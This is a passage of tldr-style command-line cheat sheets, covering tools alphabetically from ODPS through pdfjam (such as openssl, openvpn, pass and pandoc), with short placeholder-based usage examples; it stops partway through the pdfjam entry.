Create and modify tables in ODPS (Open Data Processing Service).

See also odps.

More information: https://www.alibabacloud.com/help/doc-detail/27971.htm.

• Create a table with partition and lifecycle:

create table {{table_name}} ({{col}} {{type}}) partitioned by


({{col}} {{type}}) lifecycle {{days}};

• Create a table based on the definition of another table:

create table {{table_name}} like {{another_table}};

• Add partition to a table:

alter table {{table_name}} add partition


({{partition_spec}});

• Delete partition from a table:

alter table {{table_name}} drop partition


({{partition_spec}});

• Delete table:

drop table {{table_name}};


odps tunnel
Data tunnel in ODPS (Open Data Processing Service).

See also odps.

More information: https://www.alibabacloud.com/help/doc-detail/27971.htm.

• Download table to local file:

tunnel download {{table_name}} {{file}};

• Upload local file to a table partition:

tunnel upload {{file}} {{table_name}}/{{partition_spec}};

• Upload table specifying field and record delimiters:

tunnel upload {{file}} {{table_name}} -fd {{field_delim}} -rd


{{record_delim}};

• Upload table using multiple threads:

tunnel upload {{file}} {{table_name}} -threads {{num}};


odps
Aliyun ODPS (Open Data Processing Service) command-line tool.

Some subcommands such as odps inst have their own usage documentation.

More information: https://www.alibabacloud.com/help/doc-detail/27971.htm.

• Start the command-line with a custom configuration file:

odpscmd --config={{odps_config.ini}}

• Switch current project:

use {{project_name}};

• Show tables in the current project:

show tables;

• Describe a table:

desc {{table_name}};

• Show table partitions:

show partitions {{table_name}};

• Describe a partition:

desc {{table_name}} partition ({{partition_spec}});


offlineimap
Synchronize a remote IMAP server with local Maildir folders.

More information: http://www.offlineimap.org.

• Synchronize once, without enabling autorefresh:

offlineimap -o

• Synchronize a specific account:

offlineimap -a {{account}}

• Synchronize a specific folder:

offlineimap -f {{folder}}
ogr2ogr
Convert Simple Features data between file formats.

More information: https://gdal.org/programs/ogr2ogr.html#ogr2ogr.

• Convert a Shapefile into a GeoPackage:

ogr2ogr -f GPKG {{output}}.gpkg {{input}}.shp

• Change coordinate reference system of a GeoPackage from EPSG:4326 to EPSG:


3857:

ogr2ogr -s_srs {{EPSG:4326}} -t_srs {{EPSG:3857}} -f GPKG


{{output}}.gpkg {{input}}.gpkg

• Convert a CSV file into a GeoPackage, specifying the names of the coordinate
columns and assigning a coordinate reference system:

ogr2ogr -f GPKG {{output}}.gpkg {{input}}.csv -oo


X_POSSIBLE_NAMES={{longitude}} -oo
Y_POSSIBLE_NAMES={{latitude}} -a_srs {{EPSG:4326}}

• Load a GeoPackage into a PostGIS database:

ogr2ogr -f "PostgreSQL" PG:dbname="{{database_name}}"


{{input}}.gpkg

• Clip layers of a GeoPackage file to the given bounding box:

ogr2ogr -spat {{min_x}} {{min_y}} {{max_x}} {{max_y}} -f GPKG


{{output}}.gpkg {{input}}.gpkg
ogrinfo
List information about an OGR-supported data source.

More information: https://gdal.org/programs/ogrinfo.html.

• List layers of a GeoPackage:

ogrinfo {{input}}.gpkg

• Get detailed information about a specific layer of a GeoPackage:

ogrinfo {{input}}.gpkg {{layer_name}}

• Only show summary information about a specific layer of a GeoPackage:

ogrinfo -so {{input}}.gpkg {{layer_name}}


ohdear-cli
An unofficial Oh Dear CLI written with Laravel Zero.

More information: https://github.com/nunomaduro/ohdear-cli.

• Display details about the currently authenticated user:

ohdear-cli me

• Add a new site to Oh Dear:

ohdear-cli sites:add {{url}}

• Display a list of sites and their current status:

ohdear-cli sites:list

• Display details about a specific site:

ohdear-cli sites:show {{site_id}}


okular
A universal document viewer.

More information: https://okular.kde.org/.

• Launch Okular:

okular

• Open specific documents in Okular:

okular {{path/to/file1 path/to/file2 ...}}

• Open a document at a specific page:

okular --page {{page_number}} {{path/to/file}}

• Open a document in presentation mode:

okular --presentation {{path/to/file}}

• Open a document and start the print dialog:

okular --print {{path/to/file}}

• Open a document and search for a specific string:

okular --find {{search_string}} {{path/to/file}}


omf
Oh My Fish, the Fishshell Framework.

Install packages to extend and modify the fish shell.

More information: https://github.com/oh-my-fish/oh-my-fish.

• Install one or more packages:

omf install {{name}}

• List installed packages:

omf list

• List available themes:

omf theme

• Apply a theme:

omf theme {{name}}

• Remove a theme or package:

omf remove {{name}}

• Uninstall Oh My Fish:

omf destroy
omz
Oh My Zsh command-line tool.

More information: https://github.com/ohmyzsh/ohmyzsh.

• Update Oh My Zsh:

omz update

• Print the changes from the latest update of Oh My Zsh:

omz changelog

• Restart the current Zsh session and Oh My Zsh:

omz reload

• List all available plugins:

omz plugin list

• Enable/Disable an Oh My Zsh plugin:

omz plugin {{enable|disable}} {{plugin}}

• List all available themes:

omz theme list

• Set an Oh My Zsh theme in ~/.zshrc:

omz theme set {{theme}}


opam
OCaml Package Manager.

Manage OCaml compilers, tools and libraries.

More information: https://opam.ocaml.org/.

• Initialize opam for first use:

opam init

• Search for packages:

opam search {{package_name}}

• Install a package and all of its dependencies:

opam install {{package_name}}

• Display detailed information about a package:

opam show {{package_name}}

• List all installed packages:

opam list

• Update the local package database:

opam update

• Upgrade all installed packages:

opam upgrade

• Display all commands:

opam help
openconnect
A VPN client, for Cisco AnyConnect VPNs and others.

More information: https://www.infradead.org/openconnect/manual.html.

• Connect to a server:

openconnect {{vpn.example.org}}

• Connect to a server, forking into the background:

openconnect --background {{vpn.example.org}}

• Terminate the connection that is running in the background:

killall -SIGINT openconnect

• Connect to a server, reading options from a config file:

openconnect --config={{path/to/file}} {{vpn.example.org}}

• Connect to a server and authenticate with a specific SSL client certificate:

openconnect --certificate={{path/to/file}}
{{vpn.example.org}}
openscad
Software for creating solid 3D CAD objects.

More information: https://openscad.org.

• Open a file:

openscad {{path/to/button.scad}}

• Convert a file to STL:

openscad -o {{path/to/button.stl}} {{path/to/button.scad}}

• Render a file to PNG in a specific colorscheme:

openscad -o {{path/to/button.png}} --colorscheme {{Sunset}}


{{path/to/button.scad}}
openssl dgst
OpenSSL command to generate digest values and perform signature operations.

More information: https://www.openssl.org/docs/manmaster/man1/openssl-dgst.html.

• Calculate the SHA256 digest for a file, saving the result to a specific file:

openssl dgst -sha256 -binary -out {{output_file}}


{{input_file}}

• Sign a file using an RSA key, saving the result to a specific file:

openssl dgst -sign {{private_key_file}} -sha256 -sigopt


rsa_padding_mode:pss -out {{output_file}} {{input_file}}

• Verify an RSA signature:

openssl dgst -verify {{public_key_file}} -signature


{{signature_file}} -sigopt rsa_padding_mode:pss
{{signature_message_file}}

• Sign a file using and ECDSA key:

openssl dgst -sign {{private_key_file}} -sha256 -out


{{output_file}} {{input_file}}

• Verify an ECDSA signature:

openssl dgst -verify {{public_key_file}} -signature


{{signature_file}} {{signature_message_file}}
openssl genpkey
OpenSSL command to generate asymmetric key pairs.

More information: https://www.openssl.org/docs/manmaster/man1/openssl-


genpkey.html.

• Generate an RSA private key of 2048 bits, saving it to a specific file:

openssl genpkey -algorithm rsa -pkeyopt rsa_keygen_bits:


{{2048}} -out {{filename.key}}

• Generate an elliptic curve private key using the curve prime256v1, saving it to a
specific file:

openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:


{{prime256v1}} -out {{filename.key}}

• Generate an ED25519 elliptic curve private key, saving it to a specific file:

openssl genpkey -algorithm {{ED25519}} -out {{filename.key}}


openssl genrsa
OpenSSL command to generate RSA private keys.

More information: https://www.openssl.org/docs/manmaster/man1/openssl-


genrsa.html.

• Generate an RSA private key of 2048 bits to stdout:

openssl genrsa

• Save an RSA private key of an arbitrary number of bits to the output file:

openssl genrsa -out {{output_file.key}} {{1234}}

• Generate an RSA private key and encrypt it with AES256 (you will be prompted for
a passphrase):

openssl genrsa {{-aes256}}


openssl prime
OpenSSL command to compute prime numbers.

More information: https://www.openssl.org/docs/manmaster/man1/openssl-


prime.html.

• Generate a 2048bit prime number and display it in hexadecimal:

openssl prime -generate -bits 2048 -hex

• Check if a given number is prime:

openssl prime {{number}}


openssl req
OpenSSL command to manage PKCS#10 Certificate Signing Requests.

More information: https://www.openssl.org/docs/manmaster/man1/openssl-req.html.

• Generate a certificate signing request to be sent to a certificate authority:

openssl req -new -sha256 -key {{filename.key}} -out


{{filename.csr}}

• Generate a self-signed certificate and a corresponding key-pair, storing both in a


file:

openssl req -new -x509 -newkey {{rsa}}:{{4096}} -keyout


{{filename.key}} -out {{filename.cert}} -subj "{{/C=XX/
CN=foobar}}" -days {{365}}
openssl s_client
OpenSSL command to create TLS client connections.

More information: https://www.openssl.org/docs/manmaster/man1/openssl-


s_client.html.

• Display the start and expiry dates for a domain's certificate:

openssl s_client -connect {{host}}:{{port}} 2>/dev/null |


openssl x509 -noout -dates

• Display the certificate presented by an SSL/TLS server:

openssl s_client -connect {{host}}:{{port}} </dev/null

• Display the complete certificate chain of an HTTPS server:

openssl s_client -connect {{host}}:443 -showcerts </dev/null


openssl ts
OpenSSL command to generate and verify timestamps.

More information: https://www.openssl.org/docs/manmaster/man1/openssl-ts.html.

• Generate a SHA-512 timestamp request of a specific file and output to file.tsq:

openssl ts -query -data {{path/to/file}} -sha512 -out {{path/


to/file.tsq}}

• Check the date and metadata of a specific timestamp response file:

openssl ts -reply -in {{path/to/file.tsr}} -text

• Verify a timestamp request file and a timestamp response file from the server with
an SSL certificate file:

openssl ts -verify -in {{path/to/file.tsr}} -queryfile


{{path/to/file.tsq}} -partial_chain -CAfile {{path/to/
cert.pem}}

• Create a timestamp response for request using key and signing certificate and
output it to file.tsr:

openssl ts -reply -queryfile {{path/to/file.tsq}} -inkey


{{path/to/tsakey.pem}} -signer tsacert.pem -out {{path/to/
file.tsr}}
openssl x509
OpenSSL command to manage X.509 certificates.

More information: https://www.openssl.org/docs/manmaster/man1/openssl-x509.html.

• Display certificate information:

openssl x509 -in {{filename.crt}} -noout -text

• Display a certificate's expiration date:

openssl x509 -enddate -noout -in {{filename.pem}}

• Convert a certificate between binary DER encoding and textual PEM encoding:

openssl x509 -inform {{der}} -outform {{pem}} -in


{{original_certificate_file}} -out
{{converted_certificate_file}}

• Store a certificate's public key in a file:

openssl x509 -in {{certificate_file}} -noout -pubkey -out


{{output_file}}
openssl
OpenSSL cryptographic toolkit.

Some subcommands such as openssl req have their own usage documentation.

More information: https://www.openssl.org.

• Print a list of available subcommands:

openssl help

• Print options for a specific subcommand:

openssl help {{x509}}

• Print the version of OpenSSL:

openssl version
openttd
Open source clone of the Microprose game "Transport Tycoon Deluxe".

More information: https://www.openttd.org.

• Start a new game:

openttd -g

• Load save game at start:

openttd -g {{path/to/file}}

• Start with the specified window resolution:

openttd -r {{1920x1080}}

• Start with a custom configuration file:

openttd -c {{path/to/file}}

• Start with selected video, sound, and music drivers:

openttd -v {{video_driver}} -s {{sound_driver}} -m


{{music_driver}}

• Start a dedicated server, forked in the background:

openttd -f -D {{host}}:{{port}}

• Join a server with a password:

openttd -n {{host}}:{{port}}#{{player_name}} -p {{password}}


openvpn
OpenVPN client and daemon binary.

More information: https://openvpn.net/.

• Connect to server using a config file:

sudo openvpn {{path/to/client.conf}}

• Try to set up an insecure peer-to-peer tunnel on bob.example.com host:

sudo openvpn --remote {{alice.example.com}} --dev {{tun1}} --


ifconfig {{10.4.0.1}} {{10.4.0.2}}

• Connect to the awaiting bob.example.com host without encryption:

sudo openvpn --remote {{bob.example.com}} --dev {{tun1}} --


ifconfig {{10.4.0.2}} {{10.4.0.1}}

• Create a cryptographic key and save it to file:

openvpn --genkey --secret {{path/to/key}}

• Try to set up a peer-to-peer tunnel on bob.example.com host with a static key:

sudo openvpn --remote {{alice.example.com}} --dev {{tun1}} --


ifconfig {{10.4.0.1}} {{10.4.0.2}} --secret {{path/to/key}}

• Connect to the awaiting bob.example.com host with the same static key as on
bob.example.com:

sudo openvpn --remote {{bob.example.com}} --dev {{tun1}} --


ifconfig {{10.4.0.2}} {{10.4.0.1}} --secret {{path/to/key}}
opt
A tool that takes LLVM source files and runs specified optimizations and/or analyses on
them.

More information: https://llvm.org/docs/CommandGuide/opt.html.

• Run an optimization or analysis on a bitcode file:

opt -{{passname}} {{path/to/file.bc}} -S -o {{file_opt.bc}}

• Output the Control Flow Graph of a function to a .dot file:

opt {{-dot-cfg}} -S {{path/to/file.bc}} -disable-output

• Optimize the program at level 2 and output the result to another file:

opt -O2 {{path/to/file.bc}} -S -o {{path/to/output_file.bc}}


optipng
PNG file optimization utility.

More information: http://optipng.sourceforge.net.

• Compress a PNG with default settings:

optipng {{path/to/file.png}}

• Compress a PNG with the best compression:

optipng -o{{7}} {{path/to/file.png}}

• Compress a PNG with the fastest compression:

optipng -o{{0}} {{path/to/file.png}}

• Compress a PNG and add interlacing:

optipng -i {{1}} {{path/to/file.png}}

• Compress a PNG and preserve all metadata (including file timestamps):

optipng -preserve {{path/to/file.png}}

• Compress a PNG and remove all metadata:

optipng -strip all {{path/to/file.png}}


opusenc
Convert WAV or FLAC audio to Opus.

More information: https://opus-codec.org/docs/opus-tools/opusenc.html.

• Convert WAV to Opus using default options:

opusenc {{path/to/input.wav}} {{path/to/output}}.opus

• Convert stereo audio at the highest quality level:

opusenc --bitrate {{512}} {{path/to/input.wav}} {{path/to/


output}}.opus

• Convert 5.1 surround sound audio at the highest quality level:

opusenc --bitrate {{1536}} {{path/to/input.flac}} {{path/to/


output}}.opus

• Convert speech audio at the lowest quality level:

opusenc {{path/to/input.wav}} --downmix-mono --bitrate {{6}}


{{path/to/out}}.opus
orca-c
A C-port of the ORCA live programming environment.

ORCA is an esoteric programming language for creating procedural sequencers.

More information: https://github.com/hundredrabbits/Orca-c.

• Start ORCA with an empty workspace:

orca-c

• Start ORCA and open a specific file:

orca-c {{path/to/file.orca}}

• Start ORCA and set a specific tempo (defaults to 120):

orca-c --bpm {{beats_per_minute}}

• Start ORCA and set the size of the grid:

orca-c --initial-size {{columns}}x{{rows}}

• Start ORCA and set the maximum number of undo steps (defaults to 100):

orca-c --undo-limit {{limit}}

• Show the main menu inside of ORCA:

F1

• Show all shortcuts inside of ORCA:

• Show all ORCA operators inside of ORCA:

Ctrl + g
osage
Render an image of a clustered network graph from a graphviz file.

Layouts: dot, neato, twopi, circo, fdp, sfdp, osage & patchwork.

More information: https://graphviz.org/doc/info/command.html.

• Render a png image with a filename based on the input filename and output
format (uppercase -O):

osage -T {{png}} -O {{path/to/input.gv}}

• Render a svg image with the specified output filename (lowercase -o):

osage -T {{svg}} -o {{path/to/image.svg}} {{path/to/


input.gv}}

• Render the output in ps, pdf, svg, fig, png, gif, jpg, json, or dot format:

osage -T {{format}} -O {{path/to/input.gv}}

• Render a gif image using stdin and stdout:

echo "{{digraph {this -> that} }}" | osage -T {{gif}} >


{{path/to/image.gif}}

• Display help:

osage -?
p10k
Manage configurations for powerlevel10k.

More information: https://github.com/romkatv/powerlevel10k.

• Configure powerlevel10k interactively:

p10k configure

• Reload powerlevel10k:

p10k reload

• Display help:

p10k help
p4
Perforce Version Control System.

More information: https://www.perforce.com/manuals/cmdref.

• Log in to the Perforce service:

p4 login -a

• Create a client:

p4 client

• Copy files from depot into the client workspace:

p4 sync

• Create or edit changelist description:

p4 change

• Open a file to edit:

p4 edit -c {{changelist_number}} {{filename}}

• Open a new file to add it to the depot:

p4 add

• Display list of files modified by changelist:

p4 describe -c {{changelist_number}}

• Submit a changelist to the depot:

p4 submit -c {{changelist_number}}
p5
Template builder and sketch manager for p5.js.

More information: https://www.npmjs.com/package/p5-manager.

• Create a new p5 collection:

p5 new {{collection_name}}

• Generate a new p5 project (should be run from collection directory):

p5 generate {{project_name}}

• Run the p5 manager server:

p5 server

• Update libraries to their latest versions:

p5 update
p7zip
Wrapper of 7-Zip file archiver with high compression ratio.

Internally executes either 7za or 7zr command.

More information: http://p7zip.sourceforge.net.

• Archive a file, replacing it with a 7zipped compressed version:

p7zip {{path/to/file}}

• Archive a file keeping the input file:

p7zip -k {{path/to/file}}

• Decompress a file, replacing it with the original uncompressed version:

p7zip -d {{compressed.ext}}.7z

• Decompress a file keeping the input file:

p7zip -d -k {{compressed.ext}}.7z

• Skip some checks and force compression or decompression:

p7zip -f {{path/to/file}}
paci
A package manager for Bash scripts.

More information: https://github.com/tradebyte/paci.

• Update the list of available packages and versions (it's recommended to run this
before other paci commands):

paci refresh

• Configure its behaviour:

paci configure

• Search for a given package:

paci search {{package}}

• Install a package:

paci install {{package}}

• Update a package:

paci update {{package}}


packer
Build automated machine images.

More information: https://www.packer.io/.

• Build an image:

packer build {{path/to/config.json}}

• Check the syntax of a Packer image config:

packer validate {{path/to/config.json}}


packtpub
Download freely offered books from packtpub.com.

More information: https://github.com/vladimyr/packtpub-cli.

• Download the daily offer book into the current directory with the specified book
format (defaults to pdf):

packtpub download --type {{pdf|ebup|mobi}}

• Download the daily offer book into the specified directory:

packtpub download --dir {{path/to/directory}}

• Start an interactive login to packtpub.com:

packtpub login

• Log out from packtpub.com:

packtpub logout

• Display the daily offer:

packtpub view-offer

• Open the daily offer in the default web browser:

packtpub view-offer

• Display the currently logged-in user:

packtpub whoami
pactl
Control a running PulseAudio sound server.

More information: https://manned.org/pactl.

• List all sinks (or other types - sinks are outputs and sink-inputs are active audio
streams):

pactl list {{sinks}} short

• Change the default sink (output) to 1 (the number can be retrieved via the list
subcommand):

pactl set-default-sink {{1}}

• Move sink-input 627 to sink 1:

pactl move-sink-input {{627}} {{1}}

• Set the volume of sink 1 to 75%:

pactl set-sink-volume {{1}} {{0.75}}

• Toggle mute on the default sink (using the special name @DEFAULT_SINK@):

pactl set-sink-mute {{@DEFAULT_SINK@}} toggle


pageres
Capture screenshots of websites in various resolutions.

More information: https://github.com/sindresorhus/pageres-cli.

• Take multiple screenshots of multiple URLs at different resolutions:

pageres {{https://example.com/}} {{https://example2.com/}}


{{1366x768}} {{1600x900}}

• Provide specific options for a URL, overriding global options:

pageres [{{https://example.com/}} {{1366x768}} --no-crop]


[{{https://example2.com/}} {{1024x768}}] --crop

• Provide a custom filename template:

pageres {{https://example.com/}} {{1024x768}} --


filename={{'<%= date %> - <%= url %>'}}

• Capture a specific element on a page:

pageres {{https://example.com/}} {{1366x768}} --


selector='{{.page-header}}'

• Hide a specific element:

pageres {{https://example.com/}} {{1366x768}} --


hide='{{.page-header}}'

• Capture a screenshot of a local file:

pageres {{local_file_path.html}} {{1366x768}}


pamixer
A simple command-line mixer for PulseAudio.

More information: https://github.com/cdemoulins/pamixer.

• List all sinks and sources with their corresponding IDs:

pamixer --list-sinks --list-sources

• Set the volume to 75% on the default sink:

pamixer --set-volume {{75}}

• Toggle mute on a sink other than the default:

pamixer --toggle-mute --sink {{ID}}

• Increase the volume on default sink by 5%:

pamixer --increase {{5}}

• Decrease the volume on a source by 5%:

pamixer --decrease {{5}} --source {{ID}}

• Use the allow boost option to increase, decrease, or set the volume above 100%:

pamixer --set-volume {{105}} --allow-boost

• Mute the default sink (use --unmute instead to unmute):

pamixer --mute
pandoc
Convert documents between various formats.

More information: https://pandoc.org.

• Convert file to PDF (the output format is determined by file extension):

pandoc {{input.md}} -o {{output.pdf}}

• Force conversion to use a specific format:

pandoc {{input.docx}} --to {{gfm}} -o {{output.md}}

• Convert to a standalone file with the appropriate headers/footers (for LaTeX,


HTML, etc.):

pandoc {{input.md}} -s -o {{output.tex}}

• List all supported input formats:

pandoc --list-input-formats

• List all supported output formats:

pandoc --list-output-formats
paperkey
An OpenPGP key archiver.

More information: https://www.jabberwocky.com/software/paperkey/.

• Take a specific secret key and generate a text file with the secret data:

paperkey --secret-key {{path/to/secret_key.gpg}} --output


{{path/to/secret_data.txt}}

• Take the secret key data in secret_data.txt and combine it with the public key
to reconstruct the secret key:

paperkey --pubring {{path/to/public_key.gpg}} --secrets


{{path/to/secret_data.txt}} --output {{secret_key.gpg}}

• Export a specific secret key and generate a text file with the secret data:

gpg --export-secret-key {{key}} | paperkey --output {{path/


to/secret_data.txt}}
parallel-lint
A tool to check the syntax of PHP files in parallel.

More information: https://github.com/JakubOnderka/PHP-Parallel-Lint.

• Lint a specific directory:

parallel-lint {{path/to/directory}}

• Lint a directory using the specified number of parallel processes:

parallel-lint -j {{processes}} {{path/to/directory}}

• Lint a directory, excluding the specified directory:

parallel-lint --exclude {{path/to/excluded_directory}}


{{path/to/directory}}

• Lint a directory of files using a comma-separated list of extension(s):

parallel-lint -e {{php,html,phpt}} {{path/to/directory}}

• Lint a directory and output the results as JSON:

parallel-lint --json {{path/to/directory}}

• Lint a directory and show Git Blame results for rows containing errors:

parallel-lint --blame {{path/to/directory}}


parallel
Run commands on multiple CPU cores.

More information: https://www.gnu.org/software/parallel.

• Gzip several files at once, using all cores:

parallel gzip ::: {{file1}} {{file2}} {{file3}}

• Read arguments from stdin, run 4 jobs at once:

ls *.txt | parallel -j4 gzip

• Convert JPG images to PNG using replacement strings:

parallel convert {} {.}.png ::: *.jpg

• Parallel xargs, cram as many args as possible onto one command:

{{args}} | parallel -X {{command}}

• Break stdin into ~1M blocks, feed each block to stdin of new command:

cat {{big_file.txt}} | parallel --pipe --block 1M {{command}}

• Run on multiple machines via SSH:

parallel -S {{machine1}},{{machine2}} {{command}} :::


{{arg1}} {{arg2}}
parquet-tools
A tool to show, inspect and manipulate Parquet file.

More information: https://github.com/apache/parquet-mr/tree/master/parquet-tools-


deprecated.

• Display the content of a Parquet file:

parquet-tools cat {{path/to/parquet}}

• Display the first few lines of a Parquet file:

parquet-tools head {{path/to/parquet}}

• Print the schema of a Parquet file:

parquet-tools schema {{path/to/parquet}}

• Print the metadata of a Parquet file:

parquet-tools meta {{path/to/parquet}}

• Print the content and metadata of a Parquet file:

parquet-tools dump {{path/to/parquet}}

• Concatenate several Parquet files into the target one:

parquet-tools merge {{path/to/parquet1}} {{path/to/parquet2}}


{{path/to/target_parquet}}

• Print the count of rows in a Parquet file:

parquet-tools rowcount {{path/to/parquet}}

• Print the column and offset indexes of a Parquet file:

parquet-tools column-index {{path/to/parquet}}


particle
A command-line tool for interacting with Particle devices.

More information: https://docs.particle.io/tutorials/developer-tools/cli.

• Log in or create an account for the Particle CLI:

particle setup

• Display a list of devices:

particle list

• Create a new Particle project interactively:

particle project create

• Compile a Particle project:

particle compile {{device_type}} {{path/to/source_code.ino}}

• Update a device to use a specific app remotely:

particle flash {{device_name}} {{path/to/program.bin}}

• Update a device to use the latest firmware via serial:

particle flash --serial {{path/to/firmware.bin}}

• Execute a function on a device:

particle call {{device_name}} {{function_name}}


{{function_arguments}}
pass otp
A pass extension for managing one-time-password (OTP) tokens.

More information: https://github.com/tadfisher/pass-otp#readme.

• Prompt for an otpauth URI token and create a new pass file:

pass otp insert {{path/to/pass}}

• Prompt for an otpauth URI token and append to an existing pass file:

pass otp append {{path/to/pass}}

• Print a 2FA code using the OTP token in a pass file:

pass otp {{path/to/pass}}

• Copy and don't print a 2FA code using the OTP token in a pass file:

pass otp --clip {{path/to/pass}}

• Display a QR code using the OTP token stored in a pass file:

pass otp uri --qrcode {{path/to/pass}}

• Prompt for an OTP secret value specifying issuer and account (at least one must be
specified) and append to existing pass file:

pass otp append --secret --issuer {{issuer_name}} --account


{{account_name}} {{path/to/pass}}
pass
Tool for storing and reading passwords or other sensitive data.

All data is GPG-encrypted, and managed with a Git repository.

More information: https://www.passwordstore.org.

• Initialize (or re-encrypt) the storage using one or more GPG IDs:

pass init {{gpg_id_1}} {{gpg_id_2}}

• Save a new password and additional information (press Ctrl + D on a new line to
complete):

pass insert --multiline {{path/to/data}}

• Edit an entry:

pass edit {{path/to/data}}

• Copy a password (first line of the data file) to the clipboard:

pass -c {{path/to/data}}

• List the whole store tree:

pass

• Generate a new random password with a given length, and copy it to the clipboard:

pass generate -c {{path/to/data}} {{num}}

• Initialize a new Git repository (any changes done by pass will be committed
automatically):

pass git init

• Run a Git command on behalf of the password storage:

pass git {{command}}


passwd
Passwd is a tool used to change a user's password.

More information: https://manned.org/passwd.

• Change the password of the current user interactively:

passwd

• Change the password of a specific user:

passwd {{username}}

• Get the current status of the user:

passwd -S

• Make the password of the account blank (it will set the named account
passwordless):

passwd -d
paste
Merge lines of files.

More information: https://www.gnu.org/software/coreutils/paste.

• Join all the lines into a single line, using TAB as delimiter:

paste -s {{file}}

• Join all the lines into a single line, using the specified delimiter:

paste -s -d {{delimiter}} {{file}}

• Merge two files side by side, each in its column, using TAB as delimiter:

paste {{file1}} {{file2}}

• Merge two files side by side, each in its column, using the specified delimiter:

paste -d {{delimiter}} {{file1}} {{file2}}

• Merge two files, with lines added alternatively:

paste -d '\n' {{file1}} {{file2}}


pastel
Generate, analyze, convert and manipulate colors.

More information: https://github.com/sharkdp/pastel.

• Convert colors from one format to another. Here from RGB to HSL:

pastel format {{hsl}} {{ff8000}}

• Show and analyze colors on the terminal:

pastel color "{{rgb(255,50,127)}}"

• Pick a color from somewhere on the screen:

pastel pick

• Generate a set of N visually distinct colors:

pastel distinct {{8}}

• Get a list of all X11 / CSS color names:

pastel list
patch
Patch a file (or files) with a diff file.

Note that diff files should be generated by the diff command.

More information: https://manned.org/patch.

• Apply a patch using a diff file (filenames must be included in the diff file):

patch < {{patch.diff}}

• Apply a patch to a specific file:

patch {{path/to/file}} < {{patch.diff}}

• Patch a file writing the result to a different file:

patch {{path/to/input_file}} -o {{path/to/output_file}} <


{{patch.diff}}

• Apply a patch to the current directory:

patch -p1 < {{patch.diff}}

• Apply the reverse of a patch:

patch -R < {{patch.diff}}


patchwork
Render an image of a squareified treemap network graph from a graphviz file.

Layouts: dot, neato, twopi, circo, fdp, sfdp, osage & patchwork.

More information: https://graphviz.org/doc/info/command.html.

• Render a png image with a filename based on the input filename and output
format (uppercase -O):

patchwork -T {{png}} -O {{path/to/input.gv}}

• Render a svg image with the specified output filename (lowercase -o):

patchwork -T {{svg}} -o {{path/to/image.svg}} {{path/to/


input.gv}}

• Render the output in ps, pdf, svg, fig, png, gif, jpg, json, or dot format:

patchwork -T {{format}} -O {{path/to/input.gv}}

• Render a gif image using stdin and stdout:

echo "{{digraph {this -> that} }}" | patchwork -T {{gif}} >


{{path/to/image.gif}}

• Display help:

patchwork -?
pathchk
Check the validity and portability of one or more pathnames.

More information: https://www.gnu.org/software/coreutils/pathchk.

• Check pathnames for validity in the current system:

pathchk {{path1 path2 …}}

• Check pathnames for validity on a wider range of POSIX compliant systems:

pathchk -p {{path1 path2 …}}

• Check pathnames for validity on all POSIX compliant systems:

pathchk --portability {{path1 path2 …}}

• Only check for empty pathnames or leading dashes (-):

pathchk -P {{path1 path2 …}}


pax
Archiving and copying utility.

More information: https://manned.org/pax.1p.

• List the contents of an archive:

pax -f {{archive.tar}}

• List the contents of a gzipped archive:

pax -zf {{archive.tar.gz}}

• Create an archive from files:

pax -wf {{target.tar}} {{path/to/file1}} {{path/to/file2}}


{{path/to/file3}}

• Create an archive from files, using output redirection:

pax -w {{path/to/file1}} {{path/to/file2}} {{path/to/file3}}


> {{target.tar}}

• Extract an archive into the current directory:

pax -rf {{source.tar}}

• Copy to a directory, while keeping the original metadata; target/ must exist:

pax -rw {{path/to/file1}} {{path/to/directory1}} {{path/to/


directory2}} {{target/}}
pdf-parser
Identify fundamental elements of a PDF file without rendering it.

More information: https://blog.didierstevens.com/programs/pdf-tools.

• Display statistics for a PDF file:

pdf-parser --stats {{path/to/file.pdf}}

• Display objects of type /Font in a PDF file:

pdf-parser --type={{/Font}} {{path/to/file.pdf}}

• Search for strings in indirect objects:

pdf-parser --search={{search_string}} {{path/to/file.pdf}}


pdffonts
Portable Document Format (PDF) file fonts information viewer.

More information: https://www.xpdfreader.com/pdffonts-man.html.

• Print PDF file fonts information:

pdffonts {{path/to/file.pdf}}

• Specify user password for PDF file to bypass security restrictions:

pdffonts -upw {{password}} {{path/to/file.pdf}}

• Specify owner password for PDF file to bypass security restrictions:

pdffonts -opw {{password}} {{path/to/file.pdf}}

• Print additional information on location of the font that will be used when the
PDF file is rasterized:

pdffonts -loc {{path/to/file.pdf}}

• Print additional information on location of the font that will be used when the
PDF file is converted to PostScript:

pdffonts -locPS {{path/to/file.pdf}}


pdfgrep
Search text in PDF files.

More information: https://pdfgrep.org.

• Find lines that match pattern in a PDF:

pdfgrep {{pattern}} {{file.pdf}}

• Include file name and page number for each matched line:

pdfgrep --with-filename --page-number {{pattern}}


{{file.pdf}}

• Do a case-insensitive search for lines that begin with "foo" and return the first 3
matches:

pdfgrep --max-count {{3}} --ignore-case {{'^foo'}}


{{file.pdf}}

• Find pattern in files with a .pdf extension in the current directory recursively:

pdfgrep --recursive {{pattern}}

• Find pattern on files that match a specific glob in the current directory recursively:

pdfgrep --recursive --include {{'*book.pdf'}} {{pattern}}


pdfimages
Utility for extracting images from PDFs.

More information: https://manned.org/pdfimages.

• Extract all images from a PDF file and save them as PNGs:

pdfimages -png {{path/to/file.pdf}} {{filename_prefix}}

• Extract images from pages 3 to 5:

pdfimages -f {{3}} -l {{5}} {{path/to/file.pdf}}


{{filename_prefix}}

• Extract images from a PDF file and include the page number in the output
filenames:

pdfimages -p {{path/to/file.pdf}} {{filename_prefix}}

• List information about all the images in a PDF file:

pdfimages -list {{path/to/file.pdf}}


pdfinfo
Portable Document Format (PDF) file information viewer.

More information: https://www.xpdfreader.com/pdfinfo-man.html.

• Print PDF file information:

pdfinfo {{path/to/file.pdf}}

• Specify user password for PDF file to bypass security restrictions:

pdfinfo -upw {{password}} {{path/to/file.pdf}}

• Specify owner password for PDF file to bypass security restrictions:

pdfinfo -opw {{password}} {{path/to/file.pdf}}


pdfjam
Shell frontend for the LaTeX pdfpages package for mingling PDFs.

More information: https://github.com/rrthomas/pdfjam.

• Merge two (or more) PDFs:

pdfjam {{path/to/file1.pdf}} {{path/to/file2.pdf}} --outfile


{{path/to/output_file.pdf}}

• Merge the first page of each file together:

pdfjam {{files...}} 1 --outfile {{path/to/output_file.pdf}}

• Merge subranges from two PDFs:

pdfjam {{path/to/file1.pdf 3-5,1}} {{path/to/file2.pdf 4-6}}


--outfile {{path/to/output_file.pdf}}

• Sign an A4 page (adjust delta to height for other formats) with a scanned signature
by overlaying them:

